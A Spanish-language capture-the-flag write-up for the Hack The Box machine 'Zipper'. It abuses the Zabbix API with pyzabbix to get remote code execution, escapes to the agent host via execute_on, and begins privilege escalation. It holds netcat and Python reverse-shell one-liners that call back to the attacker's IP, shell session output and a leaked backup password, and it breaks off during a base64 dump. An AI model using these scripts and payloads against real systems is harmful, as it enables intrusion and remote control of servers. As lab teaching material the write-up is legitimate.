</span></span><span style="display:flex;"><span>host name: Zipper, host id: 10106
</span></span><span style="display:flex;"><span>[{&#39;scriptid&#39;: &#39;1&#39;, &#39;name&#39;: &#39;Ping&#39;, &#39;command&#39;: &#39;nc 10.10.13.18 4444 -e /bin/bash&#39;, &#39;host_access&#39;: &#39;2&#39;, &#39;usrgrpid&#39;: &#39;0&#39;, &#39;groupid&#39;: &#39;0&#39;, &#39;description&#39;: &#39;&#39;, &#39;confirmation&#39;: &#39;&#39;, &#39;type&#39;: &#39;0&#39;, &#39;execute_on&#39;: &#39;1&#39;}, {&#39;scriptid&#39;: &#39;2&#39;, &#39;name&#39;: &#39;Traceroute&#39;, &#39;command&#39;: &#39;/usr/bin/traceroute {HOST.CONN} 2&gt;&amp;1&#39;, &#39;host_access&#39;: &#39;2&#39;, &#39;usrgrpid&#39;: &#39;0&#39;, &#39;groupid&#39;: &#39;0&#39;, &#39;description&#39;: &#39;&#39;, &#39;confirmation&#39;: &#39;&#39;, &#39;type&#39;: &#39;0&#39;, &#39;execute_on&#39;: &#39;1&#39;}, {&#39;scriptid&#39;: &#39;3&#39;, &#39;name&#39;: &#39;Detect operating system&#39;, &#39;command&#39;: &#39;sudo /usr/bin/nmap -O {HOST.CONN} 2&gt;&amp;1&#39;, &#39;host_access&#39;: &#39;2&#39;, &#39;usrgrpid&#39;: &#39;7&#39;, &#39;groupid&#39;: &#39;0&#39;, &#39;description&#39;: &#39;&#39;, &#39;confirmation&#39;: &#39;&#39;, &#39;type&#39;: &#39;0&#39;, &#39;execute_on&#39;: &#39;1&#39;}]
</span></span></code></pre></div><p>Como podemos ver tenemos dos Hosts, Zipper y Zabbix. Esto es importante, porque dependiendo del Host ID, sera donde se ejecute nuestro script.</p>
<h1 id="rce-to-reverse-shell">RCE to reverse shell</h1>
<p>Ahora que sabemos un poco mas sobre el funcionamiento de la API y conocemos más de sus parámetros, podemos crear nuestro primer script en Zipper:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> pyzabbix <span style="color:#f92672">import</span> ZabbixAPI
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>api_address<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://10.10.10.108/zabbix/api_jsonrpc.php&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>user<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;zapper&#34;</span>
</span></span><span style="display:flex;"><span>password<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;zapper&#34;</span>
</span></span><span style="display:flex;"><span>hostname <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Zipper&#34;</span>
</span></span><span style="display:flex;"><span>hostid <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;10106&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>zapi <span style="color:#f92672">=</span> ZabbixAPI(api_address)
</span></span><span style="display:flex;"><span>zapi<span style="color:#f92672">.</span>login(user, password)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>scriptid <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>get_scripts <span style="color:#f92672">=</span> zapi<span style="color:#f92672">.</span>script<span style="color:#f92672">.</span>get(filter<span style="color:#f92672">=</span>{<span style="color:#e6db74">&#34;host&#34;</span>: hostname})
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> script <span style="color:#f92672">in</span> get_scripts:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> script[<span style="color:#e6db74">&#39;name&#39;</span>] <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;miau script&#34;</span>:
</span></span><span style="display:flex;"><span>        scriptid <span style="color:#f92672">=</span> script[<span style="color:#e6db74">&#39;scriptid&#39;</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> scriptid <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;&#34;</span>:
</span></span><span style="display:flex;"><span>    scriptid <span style="color:#f92672">=</span> zapi<span style="color:#f92672">.</span>script<span style="color:#f92672">.</span>create(name<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;miau script&#39;</span>, command<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;id&#39;</span>)[<span style="color:#e6db74">&#39;scriptids&#39;</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(zapi<span style="color:#f92672">.</span>script<span style="color:#f92672">.</span>execute(hostid<span style="color:#f92672">=</span>hostid, scriptid<span style="color:#f92672">=</span>scriptid))
</span></span></code></pre></div><p>Como salida tendremos lo siguiente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>{&#39;response&#39;: &#39;success&#39;, &#39;value&#39;: &#39;uid=103(zabbix) gid=104(zabbix) groups=104(zabbix)\n&#39;}
</span></span></code></pre></div><p>Ahora, usando una de las viejas conocidas para reverse shell, cargaremos el siguiente comando para hacer una reverse shell de netcat:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> pyzabbix <span style="color:#f92672">import</span> ZabbixAPI
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>api_address<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://10.10.10.108/zabbix/api_jsonrpc.php&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>user<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;zapper&#34;</span>
</span></span><span style="display:flex;"><span>password<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;zapper&#34;</span>
</span></span><span style="display:flex;"><span>hostname <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Zipper&#34;</span>
</span></span><span style="display:flex;"><span>hostid <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;10106&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>zapi <span style="color:#f92672">=</span> ZabbixAPI(api_address)
</span></span><span style="display:flex;"><span>zapi<span style="color:#f92672">.</span>login(user, password)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>scriptid <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>revshell <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;nc -e /bin/bash 10.10.12.83 3001&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>get_scripts <span style="color:#f92672">=</span> zapi<span style="color:#f92672">.</span>script<span style="color:#f92672">.</span>get(filter<span style="color:#f92672">=</span>{<span style="color:#e6db74">&#34;host&#34;</span>: hostname})
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> script <span style="color:#f92672">in</span> get_scripts:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> script[<span style="color:#e6db74">&#39;name&#39;</span>] <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;miau script&#34;</span>:
</span></span><span style="display:flex;"><span>        scriptid <span style="color:#f92672">=</span> script[<span style="color:#e6db74">&#39;scriptid&#39;</span>]
</span></span><span style="display:flex;"><span>        zapi<span style="color:#f92672">.</span>script<span style="color:#f92672">.</span>update(scriptid<span style="color:#f92672">=</span>scriptid, command<span style="color:#f92672">=</span>revshell)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> scriptid <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;&#34;</span>:
</span></span><span style="display:flex;"><span>    scriptid <span style="color:#f92672">=</span> zapi<span style="color:#f92672">.</span>script<span style="color:#f92672">.</span>create(name<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;miau script&#39;</span>, command<span style="color:#f92672">=</span>revshell)[<span style="color:#e6db74">&#39;scriptids&#39;</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(zapi<span style="color:#f92672">.</span>script<span style="color:#f92672">.</span>execute(hostid<span style="color:#f92672">=</span>hostid, scriptid<span style="color:#f92672">=</span>scriptid))
</span></span></code></pre></div><p>Bastaría con iniciar un netcat para esperar la conexión:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Shell1:
</span></span><span style="display:flex;"><span>xbytemx@laptop:~$ ncat -klvnp 3001
</span></span><span style="display:flex;"><span>Ncat: Version 7.70 ( https://nmap.org/ncat )
</span></span><span style="display:flex;"><span>Ncat: Listening on :::3001
</span></span><span style="display:flex;"><span>Ncat: Listening on 0.0.0.0:3001
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Shell2:
</span></span><span style="display:flex;"><span>xbytemx@laptop:~$ python3 get_revsh.py
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Shell1:
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.108.
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.108:46448.
</span></span><span style="display:flex;"><span>id
</span></span><span style="display:flex;"><span>uid=103(zabbix) gid=104(zabbix) groups=104(zabbix)
</span></span><span style="display:flex;"><span>ls -lah /
</span></span><span style="display:flex;"><span>total 84K
</span></span><span style="display:flex;"><span>drwxr-xr-x   1 root root 4.0K Jan 22 23:22 .
</span></span><span style="display:flex;"><span>drwxr-xr-x   1 root root 4.0K Jan 22 23:22 ..
</span></span><span style="display:flex;"><span>-rwxr-xr-x   1 root root    0 Jan 22 23:22 .dockerenv
</span></span><span style="display:flex;"><span>drwxrwxrwx   2 1000 1000 4.0K Jan 22 23:34 backups
</span></span><span style="display:flex;"><span>drwxr-xr-x   1 root root 4.0K Sep  8 07:21 bin
</span></span><span style="display:flex;"><span>drwxr-xr-x   2 root root 4.0K Apr 24  2018 boot
</span></span><span style="display:flex;"><span>drwxr-xr-x   5 root root  360 Jan 22 23:22 dev
</span></span><span style="display:flex;"><span>drwxr-xr-x   1 root root 4.0K Jan 22 23:22 etc
</span></span><span style="display:flex;"><span>drwxr-xr-x   2 root root 4.0K Apr 24  2018 home
</span></span><span style="display:flex;"><span>drwxr-xr-x   1 root root 4.0K Aug 21  2018 lib
</span></span><span style="display:flex;"><span>drwxr-xr-x   2 root root 4.0K Aug 21  2018 media
</span></span><span style="display:flex;"><span>drwxr-xr-x   2 root root 4.0K Aug 21  2018 mnt
</span></span><span style="display:flex;"><span>drwxr-xr-x   2 root root 4.0K Aug 21  2018 opt
</span></span><span style="display:flex;"><span>dr-xr-xr-x 139 root root    0 Jan  9 23:22 proc
</span></span><span style="display:flex;"><span>drwx------   1 root root 4.0K Sep  8 07:33 root
</span></span><span style="display:flex;"><span>drwxr-xr-x   1 root root 4.0K Sep  8 07:39 run
</span></span><span style="display:flex;"><span>drwxr-xr-x   1 root root 4.0K Sep  8 07:19 sbin
</span></span><span style="display:flex;"><span>drwxr-xr-x   2 root root 4.0K Aug 21  2018 srv
</span></span><span style="display:flex;"><span>dr-xr-xr-x  13 root root    0 Jan  9 23:33 sys
</span></span><span style="display:flex;"><span>drwxrwxrwt   1 root root 4.0K Jan  9 23:22 tmp
</span></span><span style="display:flex;"><span>drwxr-xr-x   1 root root 4.0K Aug 21  2018 usr
</span></span><span style="display:flex;"><span>drwxr-xr-x   1 root root 4.0K Sep  8 07:21 var
</span></span></code></pre></div><p>Oh, creo que estoy dentro de una instancia de docker.</p>
<h1 id="escape-from-docker">Escape from docker?</h1>
<p>Estuve enumerando y enumerando la instancia de docker, hasta que me di cuenta de un detalle importantísimo de la configuración. El objeto script, tiene una propiedad especial llamada <code>execute_on</code>, la cual te permite ejecutar el script ya sea dentro del servidor de zabbix (docker) o sobre el cliente (el que tiene abierto el puerto 10050!), por lo que modificando las lineas 22 y 25 el script se ejecutará en el agente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> pyzabbix <span style="color:#f92672">import</span> ZabbixAPI
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>api_address<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://10.10.10.108/zabbix/api_jsonrpc.php&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>user<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;zapper&#34;</span>
</span></span><span style="display:flex;"><span>password<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;zapper&#34;</span>
</span></span><span style="display:flex;"><span>hostname <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Zipper&#34;</span>
</span></span><span style="display:flex;"><span>hostid <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;10106&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>zapi <span style="color:#f92672">=</span> ZabbixAPI(api_address)
</span></span><span style="display:flex;"><span>zapi<span style="color:#f92672">.</span>login(user, password)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>scriptid <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>revshell <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;nc -e /bin/bash 10.10.12.83 3001&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>get_scripts <span style="color:#f92672">=</span> zapi<span style="color:#f92672">.</span>script<span style="color:#f92672">.</span>get(filter<span style="color:#f92672">=</span>{<span style="color:#e6db74">&#34;host&#34;</span>: hostname})
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> script <span style="color:#f92672">in</span> get_scripts:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> script[<span style="color:#e6db74">&#39;name&#39;</span>] <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;miau script&#34;</span>:
</span></span><span style="display:flex;"><span>        scriptid <span style="color:#f92672">=</span> script[<span style="color:#e6db74">&#39;scriptid&#39;</span>]
</span></span><span style="display:flex;"><span>        zapi<span style="color:#f92672">.</span>script<span style="color:#f92672">.</span>update(scriptid<span style="color:#f92672">=</span>scriptid, execute_on<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;0&#34;</span>, command<span style="color:#f92672">=</span>revshell)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> scriptid <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;&#34;</span>:
</span></span><span style="display:flex;"><span>    scriptid <span style="color:#f92672">=</span> zapi<span style="color:#f92672">.</span>script<span style="color:#f92672">.</span>create(name<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;miau script&#39;</span>, execute_on<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;0&#34;</span>, command<span style="color:#f92672">=</span>revshell)[<span style="color:#e6db74">&#39;scriptids&#39;</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(zapi<span style="color:#f92672">.</span>script<span style="color:#f92672">.</span>execute(hostid<span style="color:#f92672">=</span>hostid, scriptid<span style="color:#f92672">=</span>scriptid))
</span></span></code></pre></div><p>Ahora tras ejecutarlo:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/zipper$ python3 get_revsh.py
</span></span><span style="display:flex;"><span>{&#39;response&#39;: &#39;success&#39;, &#39;value&#39;: &#34;nc: invalid option -- &#39;e&#39;\nusage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]\n\t  [-m minttl] [-O length] [-P proxy_username] [-p source_port]\n\t  [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]\n\t  [-X proxy_protocol] [-x proxy_address[:port]] \t  [destination] [port]&#34;}
</span></span></code></pre></div><p>Esto nos indica que ha sido exitoso nuestro cambio de servidor a agente, porque como vemos la versión de netcat instalada en el agente, no soporta la opción -e. Aquí decidí cambiar a una python reverse shell, por lo que cambiamos la variable revshell:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> pyzabbix <span style="color:#f92672">import</span> ZabbixAPI
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>api_address<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://10.10.10.108/zabbix/api_jsonrpc.php&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>user<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;zapper&#34;</span>
</span></span><span style="display:flex;"><span>password<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;zapper&#34;</span>
</span></span><span style="display:flex;"><span>hostname <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Zipper&#34;</span>
</span></span><span style="display:flex;"><span>hostid <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;10106&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>zapi <span style="color:#f92672">=</span> ZabbixAPI(api_address)
</span></span><span style="display:flex;"><span>zapi<span style="color:#f92672">.</span>login(user, password)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>scriptid <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>revshell <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;python3 -c </span><span style="color:#ae81ff">\&#39;</span><span style="color:#e6db74">import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">10.10.12.83</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">,3001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">/bin/sh</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">,</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">-i</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">]);</span><span style="color:#ae81ff">\&#39;</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>get_scripts <span style="color:#f92672">=</span> zapi<span style="color:#f92672">.</span>script<span style="color:#f92672">.</span>get(filter<span style="color:#f92672">=</span>{<span style="color:#e6db74">&#34;host&#34;</span>: hostname})
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> script <span style="color:#f92672">in</span> get_scripts:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> script[<span style="color:#e6db74">&#39;name&#39;</span>] <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;miau script&#34;</span>:
</span></span><span style="display:flex;"><span>        scriptid <span style="color:#f92672">=</span> script[<span style="color:#e6db74">&#39;scriptid&#39;</span>]
</span></span><span style="display:flex;"><span>        zapi<span style="color:#f92672">.</span>script<span style="color:#f92672">.</span>update(scriptid<span style="color:#f92672">=</span>scriptid, execute_on<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;0&#34;</span>, command<span style="color:#f92672">=</span>revshell)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> scriptid <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;&#34;</span>:
</span></span><span style="display:flex;"><span>    scriptid <span style="color:#f92672">=</span> zapi<span style="color:#f92672">.</span>script<span style="color:#f92672">.</span>create(name<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;miau script&#39;</span>, execute_on<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;0&#34;</span>, command<span style="color:#f92672">=</span>revshell)[<span style="color:#e6db74">&#39;scriptids&#39;</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(zapi<span style="color:#f92672">.</span>script<span style="color:#f92672">.</span>execute(hostid<span style="color:#f92672">=</span>hostid, scriptid<span style="color:#f92672">=</span>scriptid))
</span></span></code></pre></div><p>Volvemos a ejecutar y ahora tendremos una conexión hacia el listener de <code>ncat</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~$ ncat -nlvp 3001
</span></span><span style="display:flex;"><span>Ncat: Version 7.70 ( https://nmap.org/ncat )
</span></span><span style="display:flex;"><span>Ncat: Listening on :::3001
</span></span><span style="display:flex;"><span>Ncat: Listening on 0.0.0.0:3001
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.108.
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.108:51910.
</span></span><span style="display:flex;"><span>/bin/sh: 0: can&#39;t access tty; job control turned off
</span></span><span style="display:flex;"><span>$ id
</span></span><span style="display:flex;"><span>uid=107(zabbix) gid=113(zabbix) groups=113(zabbix)
</span></span><span style="display:flex;"><span>$ ls -lah /
</span></span><span style="display:flex;"><span>total 948M
</span></span><span style="display:flex;"><span>drwxr-xr-x  22 root   root   4.0K Sep  8 07:10 .
</span></span><span style="display:flex;"><span>drwxr-xr-x  22 root   root   4.0K Sep  8 07:10 ..
</span></span><span style="display:flex;"><span>drwxrwxrwx   2 zapper zapper 4.0K Jan 10 00:07 backups
</span></span><span style="display:flex;"><span>drwxr-xr-x   2 root   root   4.0K Sep  8 06:51 bin
</span></span><span style="display:flex;"><span>drwxr-xr-x   3 root   root   4.0K Sep  8 06:44 boot
</span></span><span style="display:flex;"><span>drwxr-xr-x  18 root   root   3.8K Jan  9 23:22 dev
</span></span><span style="display:flex;"><span>drwxr-xr-x  80 root   root   4.0K Oct  2 13:18 etc
</span></span><span style="display:flex;"><span>drwxr-xr-x   3 root   root   4.0K Sep  8 06:44 home
</span></span><span style="display:flex;"><span>lrwxrwxrwx   1 root   root     33 Sep  8 06:41 initrd.img -&gt; boot/initrd.img-4.15.0-33-generic
</span></span><span style="display:flex;"><span>lrwxrwxrwx   1 root   root     33 Sep  8 06:41 initrd.img.old -&gt; boot/initrd.img-4.15.0-33-generic
</span></span><span style="display:flex;"><span>drwxr-xr-x  20 root   root   4.0K Oct  2 13:18 lib
</span></span><span style="display:flex;"><span>drwx------   2 root   root    16K Sep  8 06:38 lost+found
</span></span><span style="display:flex;"><span>drwxr-xr-x   2 root   root   4.0K Sep  8 06:38 media
</span></span><span style="display:flex;"><span>drwxr-xr-x   2 root   root   4.0K Sep  8 06:40 mnt
</span></span><span style="display:flex;"><span>drwxr-xr-x   2 root   root   4.0K Sep  8 06:40 opt
</span></span><span style="display:flex;"><span>dr-xr-xr-x 145 root   root      0 Jan  9 23:22 proc
</span></span><span style="display:flex;"><span>drwx------   5 root   root   4.0K Sep  9 19:16 root
</span></span><span style="display:flex;"><span>drwxr-xr-x  21 root   root    640 Jan  9 23:22 run
</span></span><span style="display:flex;"><span>drwxr-xr-x   2 root   root   4.0K Oct  2 13:18 sbin
</span></span><span style="display:flex;"><span>drwxr-xr-x   2 root   root   4.0K Sep  8 06:40 srv
</span></span><span style="display:flex;"><span>-rw-------   1 root   root   948M Sep  8 06:38 swapfile
</span></span><span style="display:flex;"><span>dr-xr-xr-x  13 root   root      0 Jan  9 23:33 sys
</span></span><span style="display:flex;"><span>drwxrwxrwt   9 root   root   4.0K Jan 10 00:09 tmp
</span></span><span style="display:flex;"><span>drwxr-xr-x  10 root   root   4.0K Sep  8 06:40 usr
</span></span><span style="display:flex;"><span>drwxr-xr-x  11 root   root   4.0K Sep  8 06:40 var
</span></span><span style="display:flex;"><span>lrwxrwxrwx   1 root   root     30 Sep  8 06:41 vmlinuz -&gt; boot/vmlinuz-4.15.0-33-generic
</span></span><span style="display:flex;"><span>lrwxrwxrwx   1 root   root     30 Sep  8 06:41 vmlinuz.old -&gt; boot/vmlinuz-4.15.0-33-generic
</span></span></code></pre></div><h1 id="from-zabbix-to-root-aka-privesc">from zabbix to root a.k.a. privesc</h1>
<p>Exploramos un poco la máquina:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>$ ls /home
</span></span><span style="display:flex;"><span>zapper
</span></span><span style="display:flex;"><span>$ ls -lah /home/zapper
</span></span><span style="display:flex;"><span>total 48K
</span></span><span style="display:flex;"><span>drwxr-xr-x 6 zapper zapper 4.0K Sep  9 19:12 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 root   root   4.0K Sep  8 06:44 ..
</span></span><span style="display:flex;"><span>-rw------- 1 zapper zapper    0 Sep  8 13:44 .bash_history
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 zapper zapper  220 Sep  8 06:44 .bash_logout
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 zapper zapper 4.6K Sep  8 13:41 .bashrc
</span></span><span style="display:flex;"><span>drwx------ 2 zapper zapper 4.0K Sep  8 06:45 .cache
</span></span><span style="display:flex;"><span>drwxrwxr-x 3 zapper zapper 4.0K Sep  8 13:13 .local
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 zapper zapper  807 Sep  8 06:44 .profile
</span></span><span style="display:flex;"><span>-rw-rw-r-- 1 zapper zapper   66 Sep  8 13:13 .selected_editor
</span></span><span style="display:flex;"><span>drwx------ 2 zapper zapper 4.0K Sep  8 13:14 .ssh
</span></span><span style="display:flex;"><span>-rw------- 1 zapper zapper   33 Sep  9 19:07 user.txt
</span></span><span style="display:flex;"><span>drwxrwxr-x 2 zapper zapper 4.0K Sep  8 13:27 utils
</span></span><span style="display:flex;"><span>$ ls /home/zapper/utils
</span></span><span style="display:flex;"><span>backup.sh
</span></span><span style="display:flex;"><span>zabbix-service
</span></span><span style="display:flex;"><span>$ ls -lah /home/zapper/utils
</span></span><span style="display:flex;"><span>total 20K
</span></span><span style="display:flex;"><span>drwxrwxr-x 2 zapper zapper 4.0K Sep  8 13:27 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 6 zapper zapper 4.0K Sep  9 19:12 ..
</span></span><span style="display:flex;"><span>-rwxr-xr-x 1 zapper zapper  194 Sep  8 13:12 backup.sh
</span></span><span style="display:flex;"><span>-rwsr-sr-x 1 root   root   7.4K Sep  8 13:05 zabbix-service
</span></span><span style="display:flex;"><span>$ cat /home/zapper/utils/backup.sh
</span></span><span style="display:flex;"><span>#!/bin/bash
</span></span><span style="display:flex;"><span>#
</span></span><span style="display:flex;"><span># Quick script to backup all utilities in this folder to /backups
</span></span><span style="display:flex;"><span>#
</span></span><span style="display:flex;"><span>/usr/bin/7z a /backups/zapper_backup-$(/bin/date +%F).7z -pZippityDoDah /home/zapper/utils/* &amp;&gt;/dev/null
</span></span><span style="display:flex;"><span>echo $?
</span></span></code></pre></div><p>Hemos dado con un script que genera backups de la carpeta utils, extraigamos el contenido de ese backup.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>$ ls -lah /backups
</span></span><span style="display:flex;"><span>total 12K
</span></span><span style="display:flex;"><span>drwxrwxrwx  2 zapper zapper 4.0K Jan 10 00:07 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 22 root   root   4.0K Sep  8 07:10 ..
</span></span><span style="display:flex;"><span>-rw-rw-r--  1 zapper zapper 3.0K Jan 10 00:00 zapper_backup-2019-01-10.7z
</span></span><span style="display:flex;"><span>$ base64 /backups/zapper_backup-2019-01-10.7z
</span></span><span style="display:flex;"><span>N3q8ryccAAQffM7XeQsAAAAAAAAjAAAAAAAAAJNruqw7/+ngbef86gxwtxWHkKQ9R0CH2a2+/A8D
</span></span><span style="display:flex;"><span>KaTSgLl9qW0pu/scTh9W96kPklrXHaIwZEvbC+YtHRQTpwuylt0Du7Jl127KsV3Kd9owroO8aSbN
</span></span><span style="display:flex;"><span>/f+G2f0zsWczdUBxmKg42QEwh0sGKtplEPODAs1inI24vIHXg+7bwnUJvmIHndQ9u8dkNPpFATlC
</span></span><span style="display:flex;"><span>GFk1Ii0uFdNM/eOljAFonJxVOcLCvOKYi0gLgLAAnkU24fi0UqYOoti+0CDtAqzdLdrz79f7d7AG
